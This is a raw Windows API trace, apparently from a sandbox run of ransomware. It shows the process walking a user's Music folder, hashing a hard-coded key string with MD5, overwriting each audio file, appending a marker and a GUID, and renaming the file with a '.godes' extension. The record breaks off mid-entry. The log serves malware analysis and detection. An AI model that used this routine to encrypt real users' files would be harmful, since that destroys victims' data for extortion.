1 [0114.092] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.092] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.093] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.093] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc293e8c0, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0xb22e9800, ftLastAccessTime.dwHighDateTime=0x1d4ce5f, ftLastWriteTime.dwLowDateTime=0xb22e9800, ftLastWriteTime.dwHighDateTime=0x1d4ce5f, nFileSizeHigh=0x0, nFileSizeLow=0x14a5f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6HV_cSvNUwVhwYq.wav", cAlternateFileName="6HV_CS~1.WAV")) returned 1 [0114.093] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.093] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.093] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.093] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\6HV_cSvNUwVhwYq.wav") returned=".wav" [0114.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\6HV_cSvNUwVhwYq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\6hv_csvnuwvhwyq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.093] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=84575) returned 1 [0114.093] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.095] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14a39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.095] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.096] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.096] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.096] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x14a5f, lpOverlapped=0x0) returned 1 [0114.097] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.097] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.097] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.097] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.097] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.098] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.098] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.098] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.098] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.098] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.098] GetLastError () returned 0x0 [0114.098] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.098] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.098] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.098] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14a60) returned 0x3321120 [0114.099] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.099] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x14a5a, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x14a5a, lpOverlapped=0x0) returned 1 [0114.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.099] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14a5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.099] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.099] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.100] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.100] CloseHandle (hObject=0x624) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0114.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.101] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\6HV_cSvNUwVhwYq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\6hv_csvnuwvhwyq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\6HV_cSvNUwVhwYq.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\6hv_csvnuwvhwyq.wav.godes")) returned 1 [0114.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.101] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.102] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a1c1250, ftCreationTime.dwHighDateTime=0x1d4d0a0, ftLastAccessTime.dwLowDateTime=0x7b58e4b0, ftLastAccessTime.dwHighDateTime=0x1d4cb81, ftLastWriteTime.dwLowDateTime=0x7b58e4b0, ftLastWriteTime.dwHighDateTime=0x1d4cb81, nFileSizeHigh=0x0, nFileSizeLow=0xf75c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="953YBi3u.mp3", cAlternateFileName="")) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.102] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\953YBi3u.mp3") returned=".mp3" [0114.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\953YBi3u.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\953ybi3u.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.103] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=63324) returned 1 [0114.103] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.105] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf736, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.105] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.107] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.107] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.107] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.107] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xf75c, lpOverlapped=0x0) returned 1 [0114.107] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.108] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.108] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.108] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.108] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.108] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.108] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.108] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.108] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.108] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.108] GetLastError () returned 0x0 [0114.109] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.109] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.109] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.109] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xf760) returned 0x3321120 [0114.109] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.109] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.109] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xf757, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xf757, lpOverlapped=0x0) returned 1 [0114.109] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.109] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf75c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.109] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.109] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.110] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.110] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.110] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.110] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.110] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.110] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.110] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.110] CloseHandle (hObject=0x624) returned 1 [0114.111] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.111] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.111] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.111] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\953YBi3u.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\953ybi3u.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\953YBi3u.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\953ybi3u.mp3.godes")) returned 1 [0114.111] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.111] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.112] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.112] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8189c0, ftCreationTime.dwHighDateTime=0x1d4d4fc, ftLastAccessTime.dwLowDateTime=0x46bcd700, ftLastAccessTime.dwHighDateTime=0x1d4c6dd, ftLastWriteTime.dwLowDateTime=0x46bcd700, ftLastWriteTime.dwHighDateTime=0x1d4c6dd, nFileSizeHigh=0x0, nFileSizeLow=0xd5e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IDiIl91AYgIq7HA6_.m4a", cAlternateFileName="IDIIL9~1.M4A")) returned 1 [0114.112] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.112] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.112] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.113] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\IDiIl91AYgIq7HA6_.m4a") returned=".m4a" [0114.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\IDiIl91AYgIq7HA6_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\idiil91aygiq7ha6_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.113] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=54754) returned 1 [0114.113] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.115] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd5bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.115] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.118] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.118] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.118] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.118] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xd5e2, lpOverlapped=0x0) returned 1 [0114.118] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.118] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.119] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.119] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.119] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.119] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.119] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.119] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.119] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.119] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.119] GetLastError () returned 0x0 [0114.120] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.120] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd5e0) returned 0x3321120 [0114.120] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.120] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xd5dd, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xd5dd, lpOverlapped=0x0) returned 1 [0114.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.120] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd5e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.120] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.120] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.121] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.121] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.121] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.121] CloseHandle (hObject=0x624) returned 1 [0114.122] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.122] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0114.122] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.122] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\IDiIl91AYgIq7HA6_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\idiil91aygiq7ha6_.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\IDiIl91AYgIq7HA6_.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\idiil91aygiq7ha6_.m4a.godes")) returned 1 [0114.122] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.122] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.123] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.123] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c42dd0, ftCreationTime.dwHighDateTime=0x1d4d202, ftLastAccessTime.dwLowDateTime=0x6c186c90, ftLastAccessTime.dwHighDateTime=0x1d4ccf9, ftLastWriteTime.dwLowDateTime=0x6c186c90, ftLastWriteTime.dwHighDateTime=0x1d4ccf9, nFileSizeHigh=0x0, nFileSizeLow=0x13bbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PO7Eqm6 3wk.mp3", cAlternateFileName="PO7EQM~1.MP3")) returned 1 [0114.123] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.123] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.123] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.123] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\PO7Eqm6 3wk.mp3") returned=".mp3" [0114.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\PO7Eqm6 3wk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\po7eqm6 3wk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.126] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=80829) returned 1 [0114.126] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.128] 